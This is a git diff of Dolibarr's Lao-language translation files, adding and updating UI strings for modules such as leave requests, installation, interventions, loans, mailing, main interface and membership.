EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/lo_LA/holiday.lang b/htdocs/langs/lo_LA/holiday.lang index be1bfb4e23a..54ec34822ed 100644 --- a/htdocs/langs/lo_LA/holiday.lang +++ b/htdocs/langs/lo_LA/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=ອອກຈາກ +Holidays=Leaves +Holiday=Leave CPTitreMenu=ອອກຈາກ MenuReportMonth=ໃບລາຍງານປະຈໍາເດືອນ MenuAddCP=ຄຳ ຮ້ອງຂໍລາພັກໃNew່ +MenuCollectiveAddCP=New collective leave request NotActiveModCP=ເຈົ້າຕ້ອງເປີດໃຊ້ໂມດູນອອກເພື່ອເບິ່ງ ໜ້າ ນີ້. AddCP=ເຮັດການຮ້ອງຂໍການພັກ DateDebCP=ວັນ​ທີ່​ເລີ່ມ @@ -56,6 +58,7 @@ ConfirmDeleteCP=ຢືນຢັນການລຶບ ຄຳ ຮ້ອງຂໍ ErrorCantDeleteCP=ຜິດພາດເຈົ້າບໍ່ມີສິດລຶບ ຄຳ ຮ້ອງຂໍການລາພັກນີ້. CantCreateCP=ເຈົ້າບໍ່ມີສິດຮ້ອງຂໍການລາພັກ. InvalidValidatorCP=ເຈົ້າຕ້ອງເລືອກຜູ້ອະນຸມັດສໍາລັບຄໍາຮ້ອງຂໍການລາພັກຂອງເຈົ້າ. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=ທ່ານຕ້ອງເລືອກວັນທີເລີ່ມຕົ້ນ. NoDateFin=ທ່ານຕ້ອງເລືອກວັນທີສິ້ນສຸດ. ErrorDureeCP=ຄຳ ຮ້ອງຂໍລາພັກຂອງທ່ານບໍ່ມີມື້ເຮັດວຽກ. @@ -79,6 +82,8 @@ MotifCP=ເຫດ​ຜົນ UserCP=ຜູ້ໃຊ້ ErrorAddEventToUserCP=ເກີດຄວາມຜິດພາດຂຶ້ນໃນລະຫວ່າງການເພີ່ມມື້ພັກພິເສດ. AddEventToUserOkCP=ການເພີ່ມວັນພັກພິເສດໄດ້ ສຳ ເລັດແລ້ວ. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=ເບິ່ງບັນທຶກການປ່ຽນແປງ LogCP=ບັນທຶກການອັບເດດທັງmadeົດທີ່ເຮັດໃຫ້ "ຍອດເຫຼືອຂອງການອອກເດີນທາງ" ActionByCP=ອັບເດດໂດຍ @@ -86,6 +91,13 @@ UserUpdateCP=ອັບເດດ ສຳ ລັບ PrevSoldeCP=ຍອດເງິນຜ່ານມາ NewSoldeCP=ຍອດເງິນໃ່ alreadyCPexist=ຄຳ ຮ້ອງຂໍລາພັກໄດ້ເຮັດ ສຳ ເລັດແລ້ວໃນໄລຍະນີ້. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=ມື້ເລີ່ມຕົ້ນຂອງການຮ້ອງຂໍການລາພັກ LastDayOfHoliday=ມື້ສິ້ນສຸດການຮ້ອງຂໍການລາພັກ BoxTitleLastLeaveRequests=ການຮ້ອງຂໍການອອກຈາກຫຼ້າສຸດ %s @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s ແມ່ນປົກກະຕິແລ້ວແມ່ BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/lo_LA/install.lang b/htdocs/langs/lo_LA/install.lang index 10d3f90736d..57990c7b9a5 100644 --- a/htdocs/langs/lo_LA/install.lang +++ b/htdocs/langs/lo_LA/install.lang @@ -51,7 +51,6 @@ DatabaseName=ຊື່ຖານຂໍ້ມູນ DatabasePrefix=ຄຳ ນຳ ໜ້າ ຕາຕະລາງຖານຂໍ້ມູນ DatabasePrefixDescription=ຄຳ ນຳ ໜ້າ ຕາຕະລາງຖານຂໍ້ມູນ. ຖ້າຫວ່າງເປົ່າ, ຄ່າເລີ່ມຕົ້ນແມ່ນ llx_. AdminLogin=ບັນຊີຜູ້ໃຊ້ສໍາລັບເຈົ້າຂອງຖານຂໍ້ມູນ Dolibarr. -PasswordAgain=ພິມລະຫັດຢືນຢັນອີກຄັ້ງ AdminPassword=ລະຫັດຜ່ານສໍາລັບເຈົ້າຂອງຖານຂໍ້ມູນ Dolibarr. CreateDatabase=ສ້າງຖານຂໍ້ມູນ CreateUser=ສ້າງບັນຊີຜູ້ໃຊ້ຫຼືໃຫ້ການອະນຸຍາດບັນຊີຜູ້ໃຊ້ຢູ່ໃນຖານຂໍ້ມູນ Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=ມີຢູ່ແລ້ວ DolibarrAdminLogin=ເຂົ້າສູ່ລະບົບ admin Dolibarr AdminLoginAlreadyExists=ບັນຊີຜູ້ເບິ່ງແຍງລະບົບ Dolibarr ' %s ' ມີຢູ່ແລ້ວ. ກັບຄືນຖ້າເຈົ້າຕ້ອງການສ້າງອັນໃanother່. FailedToCreateAdminLogin=ສ້າງບັນຊີຜູ້ເບິ່ງແຍງລະບົບ Dolibarr ບໍ່ ສຳ ເລັດ. -WarningRemoveInstallDir=ຄໍາເຕືອນ, ສໍາລັບເຫດຜົນດ້ານຄວາມປອດໄພ, ເມື່ອການຕິດຕັ້ງຫຼືການອັບເກຣດສໍາເລັດ, ເຈົ້າຄວນເພີ່ມໄຟລ called ທີ່ເອີ້ນວ່າ install.lock ເຂົ້າໄປໃນໄດເລກະທໍລີເອກະສານ Dolibarr ເພື່ອປ້ອງກັນການນໍາໃຊ້ເຄື່ອງມືຕິດຕັ້ງໂດຍບັງເອີນ. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=ບໍ່ມີຢູ່ໃນ PHP ນີ້ ChoosedMigrateScript=ເລືອກສະຄຣິບການຍ້າຍ DataMigration=ການຍ້າຍຖານຂໍ້ມູນ (ຂໍ້ມູນ) @@ -209,7 +208,12 @@ HideNotAvailableOptions=ເຊື່ອງຕົວເລືອກທີ່ບ ErrorFoundDuringMigration=ລາຍງານຂໍ້ຜິດພາດໃນລະຫວ່າງຂັ້ນຕອນການຍ້າຍດັ່ງນັ້ນຂັ້ນຕອນຕໍ່ໄປບໍ່ສາມາດໃຊ້ໄດ້. ເພື່ອບໍ່ສົນໃຈຄວາມຜິດພາດ, ເຈົ້າສາມາດ ຄລິກທີ່ນີ້ , ແຕ່ແອັບພລິເຄຊັນຫຼືບາງຄຸນສົມບັດອາດຈະບໍ່ເຮັດວຽກໄດ້ຖືກຕ້ອງຈົນກວ່າຈະແກ້ໄຂຂໍ້ຜິດພາດ. YouTryInstallDisabledByDirLock=ແອັບພລິເຄຊັນພະຍາຍາມອັບເກຣດຕົນເອງ, ແຕ່ ໜ້າ ຕິດຕັ້ງ/ອັບເກຣດໄດ້ຖືກປິດການ ນຳ ໃຊ້ເພື່ອຄວາມປອດໄພ (ໄດເຣັກທໍຣີປ່ຽນຊື່ດ້ວຍ .lock suffix).
      YouTryInstallDisabledByFileLock=ແອັບພລິເຄຊັນພະຍາຍາມອັບເກຣດຕົນເອງ, ແຕ່ ໜ້າ ຕິດຕັ້ງ/ອັບເກຣດໄດ້ຖືກປິດການ ນຳ ໃຊ້ເພື່ອຄວາມປອດໄພ (ໂດຍການມີໄຟລ lock ລັອກ install.lock ໃນແຟ້ມເອກະສານ dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=ຄລິກທີ່ນີ້ເພື່ອໄປຫາໃບສະັກຂອງເຈົ້າ ClickOnLinkOrRemoveManualy=ຖ້າການອັບເກຣດພວມ ດຳ ເນີນຢູ່, ກະລຸນາລໍຖ້າ. ຖ້າບໍ່ແມ່ນ, ຄລິກທີ່ລິ້ງຕໍ່ໄປນີ້. ຖ້າເຈົ້າເຫັນ ໜ້າ ດຽວກັນນີ້ສະເ,ີ, ເຈົ້າຕ້ອງລຶບ/ປ່ຽນຊື່ໄຟລ install install.lock ຢູ່ໃນລາຍການເອກະສານ. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=ໂຫຼດແລ້ວ FunctionTest=ການທົດສອບການທໍາງານ +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/lo_LA/interventions.lang b/htdocs/langs/lo_LA/interventions.lang index 4c7b4c715dd..2fa236a76b2 100644 --- a/htdocs/langs/lo_LA/interventions.lang +++ b/htdocs/langs/lo_LA/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=ເຊື່ອງຊົ່ວໂມງແລະ InterventionStatistics=ສະຖິຕິການແຊກແຊງ NbOfinterventions=ຈຳ ນວນຂອງບັດການແຊກແຊງ NumberOfInterventionsByMonth=ຈຳ ນວນຂອງບັດແຊກແຊງຕາມເດືອນ (ວັນທີຂອງການກວດສອບ) -AmountOfInteventionNotIncludedByDefault=ຈໍານວນຂອງການແຊກແຊງແມ່ນບໍ່ລວມເຂົ້າໄປໃນກໍາໄລ (ໃນກໍລະນີຫຼາຍທີ່ສຸດ, timesheets ແມ່ນໃຊ້ເພື່ອນັບເວລາທີ່ໃຊ້ໄປ). ເພີ່ມຕົວເລືອກ PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT ໃສ່ 1 ເຂົ້າໄປໃນ home-setup-other ເພື່ອລວມເອົາພວກມັນເຂົ້າ. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=id ການແຊກແຊງ InterRef=ການແຊກແຊງເອກະສານ InterDateCreation=ການແຊກແຊງການສ້າງວັນທີ @@ -66,3 +66,7 @@ RepeatableIntervention=ແມ່ແບບຂອງການແຊກແຊງ ToCreateAPredefinedIntervention=ເພື່ອສ້າງການແຊກແຊງທີ່ ກຳ ນົດໄວ້ລ່ວງ ໜ້າ ຫຼືເກີດຂຶ້ນຊ້ ຳ,, ສ້າງການແຊກແຊງທົ່ວໄປແລະປ່ຽນມັນເປັນແມ່ແບບການແຊກແຊງ ConfirmReopenIntervention=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການເປີດການແຊກແຊງ %s ? GenerateInter=ສ້າງການແຊກແຊງ +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/lo_LA/loan.lang b/htdocs/langs/lo_LA/loan.lang index ae6a86cfcfe..16796e417d0 100644 --- a/htdocs/langs/lo_LA/loan.lang +++ b/htdocs/langs/lo_LA/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = ເຈົ້າບໍ່ສາມາດແກ້ໄຂຄວາມສົນໃຈໄດ້ຖ້າເຈົ້າໃຊ້ ກຳ ນົດເວລາ # Admin ConfigLoan=ການ ກຳ ນົດຄ່າເງິນກູ້ຂອງໂມດູນ -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=ບັນຊີທຶນບັນຊີຕາມຄ່າເລີ່ມຕົ້ນ -LOAN_ACCOUNTING_ACCOUNT_INTEREST=ອັດຕາດອກເບ້ຍບັນຊີຕາມຄ່າເລີ່ມຕົ້ນ -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=ການປະກັນບັນຊີບັນຊີຕາມຄ່າເລີ່ມຕົ້ນ +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=ແກ້ໄຂ ຄຳ commitmentັ້ນສັນຍາດ້ານການເງິນ diff --git a/htdocs/langs/lo_LA/mailmanspip.lang b/htdocs/langs/lo_LA/mailmanspip.lang index a628775160e..df9df1752f6 100644 --- a/htdocs/langs/lo_LA/mailmanspip.lang +++ b/htdocs/langs/lo_LA/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=ການທົດສອບການສະcriptionັກ MailmanDeletionSuccess=ການທົດສອບຍົກເລີກການເປັນສະມາຊິກ ສຳ ເລັດແລ້ວ SynchroMailManEnabled=ຈະມີການອັບເດດ Mailman SynchroSpipEnabled=ຈະມີການອັບເດດ Spip -DescADHERENT_MAILMAN_ADMINPW=ລະຫັດຜ່ານຜູ້ບໍລິຫານ Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL ສໍາລັບການສະMailັກໃຊ້ Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL ສໍາລັບການຍົກເລີກການເປັນສະມາຊິກ Mailman DescADHERENT_MAILMAN_LISTS=ລາຍຊື່ ສຳ ລັບການຂຽນຊື່ສະມາຊິກໃautomatic່ໂດຍອັດຕະໂນມັດ (ແຍກດ້ວຍaາຍຈຸດ) diff --git a/htdocs/langs/lo_LA/mails.lang b/htdocs/langs/lo_LA/mails.lang index 40fe167f783..4bd90598db5 100644 --- a/htdocs/langs/lo_LA/mails.lang +++ b/htdocs/langs/lo_LA/mails.lang @@ -7,10 +7,10 @@ MailCard=ບັດອີເມລ MailRecipients=ຜູ້ຮັບ MailRecipient=ຜູ້ຮັບ MailTitle=ລາຍລະອຽດ -MailFrom=ຜູ້ສົ່ງ +MailFrom=From MailErrorsTo=ຂໍ້ຜິດພາດໄປຫາ MailReply=ຕອບ​ກັບ -MailTo=ຜູ້ຮັບ +MailTo=To MailToUsers=ເຖິງຜູ້ໃຊ້ MailCC=ອັດ ສຳ ເນົາໃສ່ MailToCCUsers=ອັດ ສຳ ເນົາໃສ່ຜູ້ໃຊ້ @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=ຕິດຕໍ່ພົວພັນໂດ MailingModuleDescEmailsFromFile=ອີເມວຈາກໄຟລ MailingModuleDescEmailsFromUser=ການປ້ອນຂໍ້ມູນອີເມວໂດຍຜູ້ໃຊ້ MailingModuleDescDolibarrUsers=ຜູ້ໃຊ້ທີ່ມີອີເມລ -MailingModuleDescThirdPartiesByCategories=ພາກສ່ວນທີສາມ (ຕາມcategoriesວດູ່) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=ການສົ່ງຈາກອິນເຕີເຟດເວັບແມ່ນບໍ່ອະນຸຍາດ. EmailCollectorFilterDesc=ຕົວກັ່ນຕອງທັງmustົດຕ້ອງກົງກັນເພື່ອຈະໄດ້ເກັບ ກຳ ອີເມວ @@ -178,3 +178,5 @@ IsAnAnswer=ເປັນ ຄຳ ຕອບຂອງອີເມວເບື້ອ RecordCreatedByEmailCollector=ບັນທຶກທີ່ສ້າງໂດຍຜູ້ເກັບອີເມລ a %s ຈາກອີເມລ a %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=ຫວ່າງແຕ່ບັງຄັບ +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/lo_LA/main.lang b/htdocs/langs/lo_LA/main.lang index 8f0b1e13018..ed0fdea00e4 100644 --- a/htdocs/langs/lo_LA/main.lang +++ b/htdocs/langs/lo_LA/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=ບໍ່ມີແມ່ແບບ ສຳ ລັບປະເພ AvailableVariables=ຕົວປ່ຽນການທົດແທນທີ່ມີຢູ່ NoTranslation=ບໍ່ມີການແປ Translation=ການແປພາສາ +Translations=Translations CurrentTimeZone=ເຂດເວລາ PHP (ເຊີບເວີ) EmptySearchString=ປ້ອນເງື່ອນໄຂການຄົ້ນຫາທີ່ບໍ່ຫວ່າງເປົ່າ EnterADateCriteria=ໃສ່ເກນວັນທີ @@ -199,6 +206,7 @@ Valid=ໃຊ້ໄດ້ Approve=ອະນຸມັດ Disapprove=ບໍ່ອະນຸມັດ ReOpen=ເປີດຄືນໃ່ +OpenVerb=Open Upload=ອັບໂຫລດ ToLink=ການເຊື່ອມຕໍ່ Select=ເລືອກ @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=ບໍ່ໄດ້ ກຳ ນົດກຸ່ມຜູ້ໃຊ້ Password=ລະຫັດຜ່ານ -PasswordRetype=ພິມລະຫັດຜ່ານຂອງທ່ານຄືນໃ່ +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=ໃຫ້ສັງເກດວ່າຫຼາຍລັກສະນະ/ໂມດູນຖືກປິດໃຊ້ງານຢູ່ໃນການສາທິດນີ້. +YourUserFile=Your user file Name=ຊື່ NameSlashCompany=ຊື່ / ບໍລິສັດ Person=ບຸກຄົນ @@ -481,6 +490,7 @@ ActionsOnContact=ເຫດການສໍາລັບການຕິດຕໍ່ ActionsOnContract=ເຫດການສໍາລັບສັນຍານີ້ ActionsOnMember=ເຫດການກ່ຽວກັບສະມາຊິກນີ້ ActionsOnProduct=ເຫດການກ່ຽວກັບຜະລິດຕະພັນນີ້ +ActionsOnAsset=Events for this fixed asset NActionsLate=%s ຊ້າ ToDo=ເພື່ອເຮັດ Completed=ສຳ ເລັດ @@ -888,6 +898,9 @@ MassFilesArea=ພື້ນທີ່ສໍາລັບໄຟລ built ທີ່ ShowTempMassFilesArea=ສະແດງພື້ນທີ່ຂອງໄຟລ built ທີ່ສ້າງຂຶ້ນໂດຍການກະ ທຳ ຂອງມວນຊົນ ConfirmMassDeletion=ການຢືນຢັນການລຶບ ຈຳ ນວນຫຼາຍ ConfirmMassDeletionQuestion=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການລຶບບັນທຶກທີ່ເລືອກ %s? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=ຈຸດປະສົງທີ່ກ່ຽວຂ້ອງ ClassifyBilled=ຈັດປະເພດໃບບິນ ClassifyUnbilled=ຈັດປະເພດບໍ່ໄດ້ຮຽກເກັບເງິນ @@ -903,8 +916,8 @@ ExportFilteredList=ສົ່ງອອກລາຍການທີ່ກັ່ນ ExportList=ລາຍການສົ່ງອອກ ExportOptions=ຕົວເລືອກການສົ່ງອອກ IncludeDocsAlreadyExported=ຮວມເອົາເອກະສານທີ່ສົ່ງອອກແລ້ວ -ExportOfPiecesAlreadyExportedIsEnable=ເປີດໃຊ້ການສົ່ງອອກຊິ້ນສ່ວນທີ່ໄດ້ສົ່ງອອກໄປແລ້ວ -ExportOfPiecesAlreadyExportedIsDisable=ການສົ່ງອອກຊິ້ນສ່ວນທີ່ສົ່ງອອກໄປແລ້ວແມ່ນຖືກປິດການ ນຳ ໃຊ້ +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=ການເຄື່ອນໄຫວສົ່ງອອກທັງwereົດຖືກບັນທຶກເປັນການສົ່ງອອກ NotAllExportedMovementsCouldBeRecordedAsExported=ບໍ່ແມ່ນທຸກການເຄື່ອນໄຫວສົ່ງອອກສາມາດຖືກບັນທຶກເປັນການສົ່ງອອກໄດ້ Miscellaneous=ອື່ນisc @@ -921,6 +934,7 @@ DirectDownloadInternalLink=ລິ້ງດາວໂຫຼດສ່ວນຕົ PrivateDownloadLinkDesc=ເຈົ້າຕ້ອງເຂົ້າສູ່ລະບົບແລະເຈົ້າຕ້ອງການການອະນຸຍາດເພື່ອເບິ່ງຫຼືດາວໂຫຼດໄຟລ Download=ດາວໂຫລດ DownloadDocument=ດາວໂຫລດເອກະສານ +DownloadSignedDocument=Download signed document ActualizeCurrency=ປັບປຸງອັດຕາສະກຸນເງິນ Fiscalyear=ປີການເງິນ ModuleBuilder=ໂມດູນແລະຕົວສ້າງແອັບພລິເຄຊັນ @@ -1046,6 +1060,7 @@ SearchIntoContracts=ສັນຍາ SearchIntoCustomerShipments=ການຂົນສົ່ງຂອງລູກຄ້າ SearchIntoExpenseReports=ລາຍງານລາຍຈ່າຍ SearchIntoLeaves=ອອກຈາກ +SearchIntoKM=Knowledge base SearchIntoTickets=ປີ້ SearchIntoCustomerPayments=ການຊໍາລະເງິນຂອງລູກຄ້າ SearchIntoVendorPayments=ການຈ່າຍເງິນຂອງຜູ້ຂາຍ @@ -1117,6 +1132,7 @@ DeleteFileText=ເຈົ້າຕ້ອງການລຶບໄຟລນີ້ ShowOtherLanguages=ສະແດງພາສາອື່ນ SwitchInEditModeToAddTranslation=ສະຫຼັບໃນໂeditດແກ້ໄຂເພື່ອເພີ່ມການແປພາສານີ້ NotUsedForThisCustomer=ບໍ່ໄດ້ໃຊ້ສໍາລັບລູກຄ້ານີ້ +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=ຈຳ ນວນຕ້ອງເປັນຄ່າບວກ ByStatus=ໂດຍສະຖານະພາບ InformationMessage=ຂໍ້ມູນຂ່າວສານ @@ -1137,15 +1153,29 @@ EventReminder=ການເຕືອນເຫດການ UpdateForAllLines=ອັບເດດທຸກສາຍ OnHold=ພັກໄວ້ Civility=ຄວາມສຸພາບ -AffectTag=ຜົນກະທົບຕໍ່ Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=ສ້າງຜູ້ໃຊ້ພາຍນອກ -ConfirmAffectTag=ຜົນກະທົບແທັກຫຼາຍ -ConfirmAffectTagQuestion=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການສົ່ງຜົນກະທົບຕໍ່ແທັກຫາບັນທຶກທີ່ເລືອກ %s? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=ບໍ່ພົບປະເພດແທັກ ສຳ ລັບປະເພດບັນທຶກ +Rate=ອັດຕາ +SupervisorNotFound=Supervisor not found CopiedToClipboard=ສຳ ເນົາໄວ້ໃນຄລິບບອດແລ້ວ InformationOnLinkToContract=ຈຳ ນວນນີ້ເປັນພຽງ ຈຳ ນວນທັງofົດຂອງທຸກເສັ້ນຂອງສັນຍາ. ບໍ່ມີແນວຄິດເລື່ອງເວລາໃດຖືກພິຈາລະນາ. ConfirmCancel=ທ່ານແນ່ໃຈບໍ່ວ່າຕ້ອງການຍົກເລີກ EmailMsgID=ອີເມລ s MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=ຕັ້ງເປັນເປີດ ນຳ ໃຊ້ແລ້ວ SetToDisabled=ຕັ້ງເປັນຄົນພິການ ConfirmMassEnabling=ມະຫາຊົນເຮັດໃຫ້ການຢືນຢັນ @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/lo_LA/members.lang b/htdocs/langs/lo_LA/members.lang index 32a51826792..4fd5db35682 100644 --- a/htdocs/langs/lo_LA/members.lang +++ b/htdocs/langs/lo_LA/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Another member (name: %s, logi ErrorUserPermissionAllowsToLinksToItselfOnly=ດ້ວຍເຫດຜົນດ້ານຄວາມປອດໄພ, ເຈົ້າຕ້ອງໄດ້ຮັບການອະນຸຍາດໃຫ້ແກ້ໄຂຜູ້ໃຊ້ທຸກຄົນເພື່ອສາມາດເຊື່ອມໂຍງສະມາຊິກກັບຜູ້ໃຊ້ທີ່ບໍ່ແມ່ນຂອງເຈົ້າ. SetLinkToUser=ເຊື່ອມຕໍ່ກັບຜູ້ໃຊ້ Dolibarr SetLinkToThirdParty=ເຊື່ອມຕໍ່ຫາພາກສ່ວນທີສາມຂອງ Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=ລາຍຊື່ສະມາຊິກ MembersListToValid=ລາຍຊື່ສະມາຊິກຮ່າງ (ເພື່ອກວດສອບ) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=ສະມາຊິກໃ່ @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=ປະເພດສະມາຊິກບໍ່ສາມ NewSubscription=New contribution NewSubscriptionDesc=ແບບຟອມນີ້ອະນຸຍາດໃຫ້ເຈົ້າບັນທຶກການສະyourັກຂອງເຈົ້າເປັນສະມາຊິກໃof່ຂອງມູນນິທິ. ຖ້າເຈົ້າຕ້ອງການຕໍ່ອາຍຸການສະyourັກໃຊ້ຂອງເຈົ້າ (ຖ້າເປັນສະມາຊິກຢູ່ແລ້ວ), ກະລຸນາຕິດຕໍ່ຄະນະກໍາມະການຮາກຖານແທນທາງອີເມລ a %s. Subscription=Contribution -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=ຊ້າ SubscriptionNotReceived=Contribution never received @@ -205,9 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=ລາຍຮັບ (ສໍາລັບບໍລິສັດ) ຫຼືງົບປະມານ (ສໍາລັບພື້ນຖານ) DefaultAmount=Default 